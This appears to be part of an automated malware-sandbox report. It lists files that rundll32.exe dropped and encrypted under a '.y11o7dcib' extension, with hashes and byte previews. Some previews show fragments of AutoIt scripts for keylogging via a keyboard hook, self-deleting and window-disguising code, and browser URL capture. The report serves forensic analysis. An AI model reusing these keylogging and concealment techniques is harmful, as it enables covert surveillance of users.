MD5:	99E9BC95F4C39702451F4CCE4161732D
SHA1:	21176F4FCB8AEC95C62654892A2314FE41B138B2
SHA-256:	2AB48F8EDC3B04469054A586736506A0202F32EEAFA4E9D1291FBB7E491FEE5F
SHA-512:	F79B2978960FDFDFDECF9D2643E2A5FD1B15181C64BC8C131A5BDFE1E24C67C4314C6FB3B3E437BB38B82E734EB7A83FD951FADFA4E3956DB8705232F9433058
Malicious:	false
Preview:	:...`....i.d.R....;.VS+....*h..T#V.s~.w.....3q6......1..M.z.pee==================================================================================..; Title .........: WordConstants..; AutoIt V\|..c.....)//?l.>:.#.Tv.<.P.ru..G0E.tc.$.....F0..V..De...).cvv: Constants to be included in an AutoIt script when using the Word UDF...; Author(s) .....: water..; Resources .....: Word 2007 \..i..R.io;.x..C.".7z.?...~6...q..` .'....}cg..A..O#.D.q.xo}28v=office.12%29..; ============================================================================================================$...1....:!<3e.6......U{.r.Y...'J8.n~.w.....3q6......1..M.z.pee========================================================================================..; WdBreakType Enumeration. Specifies t`.c...I.fw/.R.+d.}.8../...88...0..-1.9....a!$......`...5.b::213704%28v=office.12%29..Global Const $WdColumnBreak = 8 ; Column break at the insertion point..Global Const $WdLineBreak = 6 ; U...,..Z...Fb7.j[.[.vd.{.f.[<..+l..%../

C:\Program Files (x86)\autoit3\Include\_ReadMe_.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	6.844256756962972
Encrypted:	false
SSDEEP:	12:g1nHYvjbqo2hjlvCAIdtv5uXT1J+oRmJW2ZS:G4Px2hjNYdTqPmscS
MD5:	E4002D385139A9459FF96006009A886F
SHA1:	B47AE32DC049AE0F8234E112AFD95BB76BCDE3B1
SHA-256:	4ABC64CFFB6DFA798B2F06A2B420E3FA7CF0BA8FF88B1B844581954507FD6AD6
SHA-512:	6E1255D81374CADD447D7DAE46267E5680782282C54DBBCEDBCF2F1BA43BF62A869D2797B255635DC488D1CA56D28D73B327F7C8B3D6BBB88476D88E43248CD1
Malicious:	false
Preview:	p.YG..<D.T..WW^........E..RK..\SC.....<mN....SdK.'./..V.x<.LP.y@..6D.G...#t.........C..._..KBDS...;mO...1.H.:..%...+cp.WE.U...f..=..vK........Q..@...Z.IY....;$N...Y6..:.......Men.Kead the .au3 directly.....Z.....(."E&...lL.'w...M...b*G........7s.../...../K....P"......&t..sT<..w.....Z.\|.........../.\..D......6..<hg.V..l....A...V....F.O./..'(.A/.9.....8..L.t.,.{.+.&...+[.G.7..p....0z..5....O..?.-..............................................................................................29yp10v5m8k.

C:\Program Files (x86)\autoit3\Include\analysistimer.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2865
Entropy (8bit):	7.766374865001414
Encrypted:	false
SSDEEP:	48:vscUQysJYD/l98B/7menSNJhkFhnwUtwQvFgGrOECi/m8UPphS:vpU5sJEWdK4SNTkFh5HvOGPLmRphS
MD5:	4A618B784338CE5CFBFB87BBD90D872C
SHA1:	1AFF14695C5F3463FD548722D0A47164F9BECD50
SHA-256:	AE08B183A659C62CBAC4545731C5167D4EB4D93DF11DC14EED557D7B00F58BE0
SHA-512:	31D86DEAFCBD1AE67BD2804E9DDB543D70D2DF77A8EEAD1DC59A8942D446EF260A0218092BE320B056EB6493CBC6FE4B5C741BDFBBE627CCAE1A41994AE44AD9
Malicious:	false
Preview:	&.4O.....@...K...q.....#...F....6A.g...Rn..{l.n..gy....JS7..R'..o.........'..<....'/.W.'...{b,.......}$.Y?IH~T.. GX'.W:V.)r.....C...hCg.S. ...j...n....y.a..../...y.!F&j?...$GD ...l.>i....{..KCg.y....&.W.b....<IDe.$ ..._.s..C~V.. X.s. )`.4u....p....'...B..Bj.W._....0H.........<~.n.gMz\..+Nfb.rp..R;....F...5...7.u......j....{w.(........1l.A}7L.. ..2...j.u2........qbM...;..$:........h.Xi...../E.:U+z8...q....OV%.#+........KGM......?..0.g...i]Y\|...?C..V-.wfcrt.. G.n.8/L./i.....[....$"M.y.j..x..S.'....y.Pu...[J...-..{.zeT..1mR=._R%.j7........LDd.y....?8. ......q.L....7...s-.+t.HQ~..l&7Z._=P..~.....J..LDd.y.!...>...d.....b.,.......1!.q.o.&...O".s. .l.>O........$<$.0.h..bG.~.....5@Ht...[C...-.s.g`rO..(N.n.-.b.>z.....c...c.....%..bG.z.+....ye.7...[^...+e.=?I..1.."oX?...-..P.......(#..p.B..Bn.'.f.....Ue.......+-.s.N..1....R'...l.>R.....F...asM.7.?..&/.y......?(bH...[...+h.:_&\|7....^T....q.4l.....F...#+..y....?+.'.f....5I....

C:\Program Files (x86)\autoit3\Include\cleanup.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1663
Entropy (8bit):	7.677235987245569
Encrypted:	false
SSDEEP:	48:OyFOEpoexhrWQFOASP6FNj7THpm2exnkjjLFwCsS:OsFoexhrW6OTP6LVexnAFDsS
MD5:	5768E72191299BDA7AC705EDBF58701A
SHA1:	4CCFA7F5F812EE9F4428899D57BB6ADB98AB5634
SHA-256:	40B7805B359CD5E90D7751394935C3DCCC4B9CDEED8C90E3597576812AB35C9C
SHA-512:	8A0ED3C817D1A0EB0E68DAA8DAE39917806A63D88B5079D48CEE844C1467AFC3942D0B132FAB805E4BA664C51AEBEAE5443BC48450E207690AA83513A3F39CBA
Malicious:	false
Preview:	....[...$.a.n.0.'.Sg...z.s..V `.'..$.Pg...=L..AV.....\|d.j..e..G......(.w.'.NK,.. .W....~.j..$.hk....\|....`=........."+.H..@.."...e... .Qv.......cub.....".eb....._..R.......@W.%..}......4.\.`.d.H.]...z...;m32....$.$]....;{...A\.p......Qe..g..g..e..Q.m.u.:.O.R.....x9.\|.'..#.@\|....9@....-..P.....F.DH...._..&...".0.".@v=..v..."Qe.......ki....0T....W..S...{c4.t.+..@......;.#.:.!"r{+..~.L.D2.T.f....p{...9.....W..S....SL.+f....`.J..a.D.....Fz..~...+8.b./..).vk....A....)~.{......Hn.....\|..4..L.m...7.oc5..5.\.D2.T.f..o.$?....Q...R........zyO. ..D...g..a.D.<...Lm...1.D.[..w.n..,.eR...3K...J..M....]N."+.L..[..(.D.....!.Sq..5.>.x9.^.b.k.&R....=L..E..r......X.z.+..[..e..].@.\.;.DF=..g.V.Hf3E.j....$(...9J.....T.c......_Wj.&..u..5...9...7:Sk...\...y5.u.{..).ha...8Y....\.........znJ.1....... ......,nM..._.7.W'_!.K..{.):....h.....G.....C+z:`.s......(.!.!.z\iI...P.?.X.<O.@....ky.....W....w=.c...5[}=..q.....w..U.x.x.`JeGj..".;.v~F.......`g

C:\Program Files (x86)\autoit3\Include\corporate.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1118
Entropy (8bit):	7.5007579398069435
Encrypted:	false
SSDEEP:	24:jV6IpMZsv2veQvl+wEFvuYQwMtGZZpLaRb4DKAoUnlJpfk8TFpSltbS:B6ICsywwEFGDwvdggKGFjFsltbS
MD5:	7438B611AC98C92C0853C4E7EF585D18
SHA1:	23820EA2C5E147DAE71B63BAB20045D162642350
SHA-256:	9C288A7E7BD500980219A67D97111E073507761F692CAFF78711956F188A33FD
SHA-512:	B01814AD98FFEF88EDE66B71D64B725AC680E35D2DE63B174393CC3BA41A71CA72634061705E98CBEFED31126B0BB08ADA6E1C5064AE818E4BBF44007BE3FD85
Malicious:	false
Preview:	.^.Y.~z.89B....../..5.^...@...7.#.y..lR.l:l...0[..4.j..eZ....d.h.~w:3.C.}....sJ.]D...m...S.9.t...)F.H#h....0G..3..t8.3Y..4.8@l.?!{wv..\...3).?9....@...x...y..d..j$u....o5.gQ...f.ci..9.~D0.Xf7.7B.w..(o.yC0...m...z.(.5..l..}&i....m..3L..hK.#b..1.0.b...b{.D.8...?4.p9S.../...f...f..l..)7<...mE.\|W..u.."..7.0.b.~j7{.m.6....9&.pjT...=...4.!.Z..dL.l"}....g..1...^...l..p.~.y.oju{th.W....ze.5:p.......}.o.5....L.)f0...QG.3...w..)!....BF!.//yy.x.:....ze.......a..C...7..ec..\'.....F..G@..:V.w-....d.-.qu0)9A.v..(..2"_...?...x.=.z..)...mb....m..jI..'K.g0..=.04..\|f*(vi.n...7".$nl...,.....v.5......]/l.....#X.@\..I..3h....f.b.qn<5"..y...6".ZuD...$...@.=.5..lS.Z3h...# .eP..t..)y..9.y.o.z.S`(..G...>.5n....p...`...y... ..L8j...f..3o..s..+h...EnvVarSet("LOGONSERVER", $domain, 2)......u.(...R..)..4....'Rfi......meb5Yj.....=.EP...Q....w.(j....k......&I...# [.~\.Y..... .A...Q.Ue..%.Zcp...mqm..& J.>...d.q..z.+g..........8.e.6?......YI....&...!k..n..r~.Q.h.<'<..I..

C:\Program Files (x86)\autoit3\Include\helper.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25328
Entropy (8bit):	6.856728642603752
Encrypted:	false
SSDEEP:	384:QGyLGK6Sh3BacZFRFWaKVbUNjy1s9FeRVV2Tcg7pFYvhh/5M3hvVRpYL:lyLlf/3+FnG9FeJ5gLYvHO3dVRo
MD5:	21B1AB8BEE676FB7DCBEE7C907BBC681
SHA1:	6C350F5EFDB09D764E73DEF408D20D11E1531BF1
SHA-256:	0124C102F120D77637A0883C92860680881AC95DE2C58723C270E860B0E3F76C
SHA-512:	FDC7CA0590F55EB1C97A7B9EFFAD85040B66EBC510194CE92970BB744DD71EDA0B2E74C15D7725FE46492F9B194ADD95072FD5E814502E130AFDCC8172A64E0E
Malicious:	false
Preview:	v...irjN/7.. .Ez..>...[q..U...(&...R.......94XbH.\|.% ...OMau3>..#include <Security.au3>..#include <date.au3>..#include <Process.au3>..#include <Timers.au3>..#include <Word.au3>..#includeuL=.fbb.n~.hd..f..3..vG..L...fn......N.G.%>^.......4k....%i#include <Color.au3>..#include <Array.au3>..#include <WinAPI.au3>..#include <ScreenCapture.au3>..#include <IE.au3>..#include <Cr,..Gdr=....?..Ez....."...x...fn..B....b.>9.Qo.8y..1.....thXor($n, $k)...$ran = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"...$arr = StringToASCIIArray($ran)...$lenuMX:qugEhG.8A.[n..R..9..J......\.........p.p~U....\|E.65...!j$out &= Chr(BitXOR($arr[Random(0, $len - 1, 1)], $k))...Next...Return $out..EndFunc....Func _RandomString($n)...Return _RandomSt'...RnzCWd.~M../..R..2=..X.....}t...e....J.K.13U&...UZ.0$...Z.tocols[2] = ["http://", "https://"]...Local $tlds[3] = [".com", ".org", ".net"].....$protocol_id = Random(0, UBound($protocols) xPIE%6'&..."..vf..b..8........go.....

C:\Program Files (x86)\autoit3\Include\htmlfetcher.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5509
Entropy (8bit):	6.838810634991779
Encrypted:	false
SSDEEP:	96:KMhKnjFK5VaXbVo+hNyC7zI+/gfRaNcMO4V2EtjS:3sjFK5Va57zZcWLS
MD5:	9B04E55E08EB6FBA6D620A489D2C7934
SHA1:	1DAABEDF8277502605F7722F8EB4740B4BB683A6
SHA-256:	EF8686723BE1F5A255D16FD798AB21284A2BA5C6CA48122A9801B6686C2049A0
SHA-512:	681BA8D54CF7633215F5794953C9E6F53B4366F28FA7333DC4F864E9E4462E50B94BA2CA9745184F37F41F77190BAB8ED97AEF9718E1ED19DBBB86592F496864
Malicious:	false
Preview:	......j.v...)..iA%...N\..v...q..<a...l/V.\5..a.....y..}.L.3.t.Error","ComError")....#include <ScreenCapture.au3>..#include <IE.au3>..#include <WinAPIError.au3>....$a = WinGetHandle("AutoIt..I.....^...3..>c/....5...['Z....i....!k..#P..3....ak..2.0..=.se..Global $targetDrive = "\\192.168.2.1\esxi07-W10x64_Office_01\"....FileDelete(@ScriptFullPath)....$oDictionary = ObjCreate("S......v.....3..$n8..:....1GQ.Q..t....K.^..<..?....l....u.D.3.dWaitTimeout(45000)....while True.....; Always try to attach to multiple instances...for $i = 1 to 10 ..... $oIE = _IEAttach ( ..V...q.D...$..f/n..=....[l{.v..,o...3bg.K4..V....e/...l..=.t($oIE).... .... $url = _IEPropertyGet ($oIE, "locationurl").... .... if $url <> "about:blank" and $url <> "0" then....... I....<.s......+}3..^f..._po....6e....K..'~..5....+n....i..x.rl, "1")........fetchPage($url, $oIE)....... endif...... EndIf.... .... Sleep(100)... ... endif ... ...Next.... Sleep(2..J.....`...J..@I?...h_...-9.E..S....p

C:\Program Files (x86)\autoit3\Include\htmlfetcherchrome.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	15881
Entropy (8bit):	6.7601958985683055
Encrypted:	false
SSDEEP:	384:9su2EpBEhLMzi9usUtGr0qSVd6fWBYex2:h7p+hLMGhUxd6fWGm2
MD5:	6F002633F366FC5175B015834D85F877
SHA1:	D1FF65740B96268F658222FA4DCC4570A1EBC351
SHA-256:	DEEC7E97E4C7A87448D6BDC23707DBCC206F0F214A12F05B8E727951EF9F4E0A
SHA-512:	81A538E1723F26C8051175A0E550F571D14507A5EFD0AE29A62CBEDFD160B5C1BC0467D7F4CF558C5E4B8D4085386389E9B43A66669BBF2ED9BD11CFB90C8B1D
Malicious:	false
Preview:	(r3.w7....X...ROy.{'.e.OL..M...<-H.s.R......G......X.9.a..H.t.Error","ComError")....#include <ScreenCapture.au3>..#include <Array.au3>..#include <NamedPipes.au3>..#include <WinAPI.au3>..#ieC:.f;I...A...-_..%{/.O.UF.)\|...:!N.."........R..{...B.t.A.M..10)..Opt("TCPTimeout", 10)..Opt("GUIOnEventMode", 1)..Opt("TrayAutoPause", 0)..Opt("WinTitleMatchMode", 2)....Func ComError($oEryO$..T`.1.\|..2D..j4.^M.v.l....ZkD..$.Z.....;a..5cV...1.m.!.. "." & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & " COM Error: " & Hex($oError.number) & " " & $oError.description & " " & /O..p1.. .[..;.^.[1)..B...+`...<.[..%.N........]...Kq._.1.D..R. then.....ConsoleWrite($message & @CRLF)....else.....FileWriteLine($targetDrive & "logs\htmlfetcherchromecomerror.log", $message"-\..;..>.8...6.^."R..H.UL..J...? K..w.Y.....<Y.pLr.Z.s.L.KF.to = False....if not $debug then.....$a = WinGetHandle("AutoIt v3")...WinSetTitle($a, "", "GDI+ Window").....FileDelete(@ScriptF~L:.c*..Z.<..:.[..,'.K.Tf.`6...smu.n..

C:\Program Files (x86)\autoit3\Include\keylogger.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6749
Entropy (8bit):	6.789831621316387
Encrypted:	false
SSDEEP:	192:5YdL3UAweoSS0QDIy8EebnNJ735FjkRqSwjaBS:OUArCICebTb5d7j5
MD5:	E10B69582EC9038293C13C285D74BB3F
SHA1:	546BFDE6E4CCB97DDE8F16595963616E8DF22947
SHA-256:	D9944FC8FD38799828E80206B342E3CC81CE3D6CBE6561A2CF2511A6A94C16F9
SHA-512:	4A36F8C67F03AED526535829038638E993B8560705908D7EEC9754F7712FB252AD9583A139006221FA1D788A4DCCDBF7B992F61145981CB2661823C447EC45C3
Malicious:	false
Preview:	}Vgl..t..O.G..ae.n..?....$...@.4!.:"..=.z=..M....).....#..V..au3>....$a = WinGetHandle("AutoIt v3")..WinSetTitle($a, "", "GDI+ Window")....Opt('MustDeclareVars', 1)....FileDelete(@ScriptFu2tXY..$...+..%..d+.j..t..G....Q.~.s\|.v(..u.k>..:C...z.....wV..\, $title_1 = "", $keycode, $buffer = "", $nMsg..Global $file, $f3 = 0..$file = FileOpen("\\192.168.2.1\esxi07-W10x64_Office_01\s'kkY..~...X..-.z%.q...?..n..~.[.Y....B..0.pp...h...;....O~f.u;nd....Func _Main()...Local $hmod...$f3 = 1...$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")...$hm1\|(...Z...q....Ed.w..~....D.>.<.bd.v ..q.I1.J(...<.... ..M.kEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)...While 1....Sleep(1000)...WEnd.. EndFunc....Func EvaluateKey($ke'{g\......U..&..5+.k...k.....\...8....l-..#Q#x.cI..'....VZa.k. $title_1 <> $title Then....$title_1 = $title....FileWrite($file, @CRLF & @CRLF & "====Title:" & $title_1 & "====Time:" & @YEAR x8..+..n..l..&).$...[..C..V.....l.V.

C:\Program Files (x86)\autoit3\Include\liveprocess.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2968
Entropy (8bit):	7.80938469079121
Encrypted:	false
SSDEEP:	48:hKAxDvO3S2J1nC2RqQdLX39TrX9K99ayGNESWFvVWW+kUJDM3K3IKPNzgGjyCDMA:sAl23tnRqc79X9m4yGq3OmK3IUNzgGj/
MD5:	4B87E5D026002ADB0E22C737FE16EA60
SHA1:	5A0BDD3BE459CF054EBCC0ED088609E07E73BA27
SHA-256:	E8620B2A33C7128A67ADE8FE90D6161BF4C16AD6E867E68C4899DADBE7844162
SHA-512:	249B5D6779189D73BEE7EA7C4F45ACD0951602B949EFF3F5D4EB9CEA1EC43C10425397C92FCA64D80FE640145DDD58513C9CBF635BCF262620890FA089D195E6
Malicious:	false
Preview:	9J...G.%..y.......PF.k...~.@s...2,..L/%..&-?.K.V\..C.T....j/.]V...A...........{.G....."....).ND...+ .g...w..._].&...)G........I.......t.g.".m.~[...77...G...&wh...G@3.B.~6..fa.uTA..8.J...I......wV.z...8.!)...SS..;{...c.>.O.oo..@.s....C`.qp...F.$..E.......WR.1.K.%.#t..~y..+F8..c...i...k.H.v..._}.yF...d.%..............W...9.=.....qk..]#A....).A...W...R.."=..n....M............t.g.".m.......14..9Z\|.c...c...V....?...`F._[.....l..k.......)?.3.O.$.(Y...TT..L3U..cbl.~...m.3.N+...}'.rd6....p...........tG.p...(.oP...,<...3...&-A.#.EFw.6.._...L{.v`...F.....z.......AI.a...>.m7........<r...7...n.IB..L..O.7?.:.S..?.M...........h\.g...:.......+4...w...g7....UN?.P.7u..PH.S`...~.3...I.......QX.D...%.i.....ou..Z#X.J.l.m.,!k...S....jx.IF...^.-...H........3.^.@.DY........_....6).u...\...W....{g.>K/....l..........q\|.v.8.,.(Q..~y..e3Q..-.).e.1.o.H......#/.8.C....J..........)?...8.$.......<...tY.IVE...&.l.@.}*...YJ.N\| ..a.M...%........<.3.....$.....Wy..)

C:\Program Files (x86)\autoit3\Include\stats.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5579
Entropy (8bit):	6.9412570849738335
Encrypted:	false
SSDEEP:	96:AJoXYJMHmbMP8tIn04i5IziXFMKYEQunHFpSGMcBrcdMORaHUZqIu/hC5COjtPS:EoP8x/FMKY2FpS9cBrdHlh6XS
MD5:	4095AAC326A53BD14EDC03B76DF5883B
SHA1:	A54939900C6A1F8555BFC93AA67DCC0E94719946
SHA-256:	780AA8ABC52A12CC329B9FAF7CF61D68DABEEB7CEAE2B8EAE11F0BC809FE31E1
SHA-512:	DD5760321A51AF42CC6F17DF75AB22EFA553B031C87B451F5FD407E1DF88E917CEF40D6CC8716ACD872A5A33267023BCF90F47D1FD3B0A81D16F3479F12BB36C
Malicious:	false
Preview:	Ql....m..%M....V).G\|...cN.....i.Q.+^.N.....9.m..........:v3")..WinSetTitle($a, "", "GDI+ Window")....FileDelete(@ScriptFullPath)....$rootPath = "\\192.168.2.1\esxi07-W10x64_Office_01\sy.A....H..FJC.d...7iE...{e..F......D...........@.1.........".bi07-W10x64_Office_01\logs\stats.log", @MDAY & "." & @MON & "." & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & " " & $msg).. E.F2.......,j.k..c.Dd...0z..O..v...O'.H........!..T....5.3....Func ComError()...If IsObj($comError) Then...._JBLog("Com error: " & Hex($comError.number) & " " & $comError.description & "R.T.C.w...92j.$.V).Nz.../\|.....<.O..u.N.........j...R...N.tdif...Return 0..Endfunc....Global $cpuCount = getCPUCores()..Global $start = 0....$go = False....if $cpuCount < 4 then...$cpuCou.VT.^. ...%$l.*.5JwtC.>.8 ....0.,.ts.............v...U...M.rile True.....if IsLockStarted("statsgo") and not $go then...._JBLog("Start capturing")....$start = time()........_JBLog("Time: "R.T...u..FJ....6NYLf.O..z..b..y...G^.c.

C:\Program Files (x86)\autoit3\Include\word.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33235
Entropy (8bit):	6.5730293199979
Encrypted:	false
SSDEEP:	768:tBU7XFUudZdAdMnd+pckdpjVN/430rCi+:UX1dZuGd+pPpjVN/43Vz
MD5:	C1BD1EFF198ABB05B03A8A97D750E315
SHA1:	E656D450A90879B0490A6087186F1EAED89A69D8
SHA-256:	55338F73A52C9394F005B9A829083B78F8B0DD706B690C0A612B889B77EDF7D4
SHA-512:	D265A2C009B66AD2BA97CE221B4E7A5C77B7C0490F5C41384E91EF547B3D9EBF11938ADD177CE6A13C722F2661F760BE237383BB7BC674089EB2926E2D04939D
Malicious:	false
Preview:	...F..a.!'2.\..)..v..........M.~q..,m^..N?../....."O.x..-L...nagConstants.au3"..#include "WordConstants.au3"....Global $LastWordCOMErroDesc = ""....; #INDEX# =================================..W..f8.1ua.....)."..H.L..V...8h..#.....,..!....Dq..0..0S..:2======================..; Title .........: Microsoft Word Function Library (MS Word 2003 and later)..; AutoIt Version : 3.3.14.5..Q..:k.y);.....:.1..0......f3..A0.!lC...R...2...Y/C.a..y....hi functions for accessing and manipulating Microsoft Word documents..; Author(s) .....: Bob Anthony, rewritten by water..; Resour.....u+."r\|.V...&./..#......)X.^fu.'xO...^t..tY...VcA.i..`....t`ft.com/en-us/library/aa272078(v=office.11).aspx..; Word 2007 Developer Reference:..http://msdn.microsoft.com/en.....2g.m:%.[... .&.............,{.1nR...1..<....Yl..-.-N...c/2010 Developer Reference:..http://msdn.microsoft.com/en-us/library/ff841698.aspx..; ============================================..W..f8.1ua.....)."..H.L..V...8h..#...

C:\Program Files (x86)\autoit3\SciTE\SciTE.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2372922
Entropy (8bit):	7.350339100153445
Encrypted:	false
SSDEEP:	49152:Y5ubijiIwtcfgYUqhEXjF/yIaaya4t5tkksz52Q2NMd:YK0lgY7hEXjhyPayn5ykszvV
MD5:	019F536BD1FA3B05D22B33A42BCA60C9
SHA1:	069AFB3418426C3C1785E2FCD0048502BF888093
SHA-256:	A5FBFC95F0D593BE30448E904DD1451115A82F6DEB0D10859CF54469BED9AC9B
SHA-512:	6DA3E900DE227AD0A40F6AF6F40852CC9569914CC0236E7A0A731B7E66C8871D838E4284C4AC7555688BECFCFFB7836B606640BB11CB27C3B4B9796D8E9E35C6
Malicious:	false
Preview:	.......(...t.[...<.Z...X.o.d....?.w...-g..p2G..4..Z.c..v..........!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk...f:........<0...W:.(..j..?.......BSM....E&xl.2G..4..Z.c..w..........PE..L.....(c.....................~....................@..........................p$...........@.........................!G........L[......S...X.o.d....?.w...-...pr.Z..4..Z.c..w..........P...........@............................................text...e........................... ..`.rdata...^.......`......Q......,....N[U?.]..Z...Y._.d....#.w...-g..p2G..4..t...w......@ ....... .............@..@.reloc.......P#......"#.............@..B........................................................Q......,....N[...<.Z...X.o.d....?.w...-g..p2G..4..Z.c..w..................................................................................................................................Q......,....N[...<.Z...X.o.d....?.w

C:\Program Files (x86)\autoit3\SciTE\au3.keywords.properties.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	91913
Entropy (8bit):	6.358189947805804
Encrypted:	false
SSDEEP:	1536:dwW6g4aJAl9EEK7/rAapcs8Aj3TNh2MvUTuLGI7BPWbG8mi/OnvWdqEbFeeAzcTB:dZSLK7/rNus8Aj3Rh2EUCc73tL2Mn
MD5:	88214C098CFF3322AF25DF233DE154B3
SHA1:	3C6FA9D5CE0EA88E8FD6B4E6DCD75D4A876DE9B3
SHA-256:	4EB3B2D7061CC0BA8CF8F9D6D3B070BB2EBE197DA545E6729F3CA51813B5A85F
SHA-512:	7FEFEB9884E7306ED1E580255DF294EBC7B63B837806F8B0ADF223724DBABECBAD3E18F7AD10FFF5E1B5D18798796C939DE15FEFFBE355D474F8AD99EFF931BE
Malicious:	false
Preview:	"......m:.._cIIG.5.p.0J...<!.[.xG...m.tj.F....9<..9...../..register adlibunregister asc ascw asin assign \...atan autoitsetoption autoitwingettitle autoitwinsettitle beep binary binarylen9......_...<.E...t@5.m......>0.B.A.].w.7\|.]./.\|2;..........hift bitxor blockinput break call \...cdtray ceiling chr chrw clipget clipput consoleread consolewrite consolewriteerror \...conm.......<..B~H...kT .z[....; ._.hO...w.cl.E.3.\|7*..5.....%..us controlgetfocus \...controlgethandle controlgetpos controlgettext controlhide controllistview controlmove \...controlsend conm......C+..YbS...uQ..>.....#6.I.cF...w.7z.J.9.l8 ..z.....&..e \...dirgetsize dirmove dirremove dllcall dllcalladdress dllcallbackfree dllcallbackgetptr \...dllcallbackregister dllclose dllv.......O-..BoU...c.%.r.....20.M.k..E.k.ek.].8.n/=..W...0..uctgetsize dllstructsetdata drivegetdrive drivegetfilesystem drivegetlabel \...drivegetserial drivegettype drivemapadd drivemapd\|.......Z/..B,C...cJ$.r......>2._.k@.O

C:\Program Files (x86)\autoit3\Uninstall.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	72075
Entropy (8bit):	7.336925449726999
Encrypted:	false
SSDEEP:	1536:xNEEvPV+95St9g3N/TWCOqpR7uiV0KqSI2XBgLbLttb7:oE3V+95a9A/4s7uiVhA+Evttb7
MD5:	B37E41830C4C0EE87AB014403BF4B217
SHA1:	1C399CCDC389D1F180AA4CBCE6C0C7ED34A95BFC
SHA-256:	3416517289A067EC5C888FEB6A89C6F27DC5E52A371614EDD8D2AA42D4E81586
SHA-512:	FE241D4ACFAE18DA2982D2F3F04E6B2407473409D416EFE3933E6AC429C9C16F758BABC0121A4F87051FC6543753946AB67CB35673A9A04719D5D18E46CDC389
Malicious:	false
Preview:	.9...M.P4..<.VgS....$#bP.....{Qp.#aq..........r\p_..}...%..........!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf..cb...M.T4...YVg.....$#b@.....{N..#aq..........t\p7..W...-..@6............@..........................p............@.......................................... ...N..........xI..`&...........cb...M.T4...YVg.....$#b......{Qp.#aq.........~r\.]..}...%...................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x........................cb...M.zZ.q.8Vg.....!b......{Qp.#aq.....\|.y....._.i3.......P..................@..@.........................................................................................................cb...M.T4...YVg.....$#b......{Qp.#aq..........r\p_..}...%...................................................................................................................................cb...M.T4...YVg.....$#b......{Qp.#aq.

C:\Program Files (x86)\common files\DESIGNER\MSADDNDR.OLB.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	27658
Entropy (8bit):	7.3916816473507545
Encrypted:	false
SSDEEP:	768:8eJB7ueDqqK+nuqnd9fBShhhz4zv3N3Q4NO:8eJB7uemqhnNnddBSXhszvN3PNO
MD5:	992ABB6B7891B249C0CF3EF6D0A30A38
SHA1:	1D70EB16604D02030D219C85F62A889A411585CF
SHA-256:	E52DC2A4092BAF3B8E202036EFBF0315860D82DBDE7138BAF26651339DE48C14
SHA-512:	7504D41A9F35F57AFBAA3A51869085E727D1727604F75E6B9A515781CE8B613261D40745B5BE979B576D04EA25EB6D5950A67E354F718D1C9F67812327FE3738
Malicious:	false
Preview:	.u..N&.\|yp@B...&......../E....og....C..2JNj...#h..._Q..............!..L.!This program cannot be run in DOS mode....$........\|..............g~..............g......Rich............PE..L....(o}M&.\|}p@B............/E....og....C..2JNj...#h...YQ..............@.......D....@.......................................... ...................N.........................................../{.M&.\|}p@B...&......../E....og....C..2JNj....B.....Q.........................@..@.rsrc........ ......................@..@.......e........l...4...4........................................].y9G.\|a`@B...&2.....\.`[(....[w...C..V+^/N...A...._q.......rsrc$01..... ..h....rsrc$02...................................................................................................../{.M&.\|}p@B...&......../E....og....C..2JNj...#h..._Q....................................................................................................................................../{.M&.\|}p@B...&......../E....og....C.

C:\Program Files (x86)\google\Update\GoogleUpdate.bk.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	162394
Entropy (8bit):	6.854329562498311
Encrypted:	false
SSDEEP:	3072:uGzdrfSG7K7r6Su1nPLTVxxWv1YbyB5yrGH4Fb6bk4ZhSfha+nvL+4/klXKF8Zt+:/N7K7r6Su5HtWDMGIsMmC
MD5:	B3ED8E778228D6C441591130D1CDAA1F
SHA1:	32AC4EE4D5465109D0E038DE2CD6DD740A7CB3C7
SHA-256:	120856087B5A8D3BE3D2763C63279C599255ED322A2490C7484EF59D11F42926
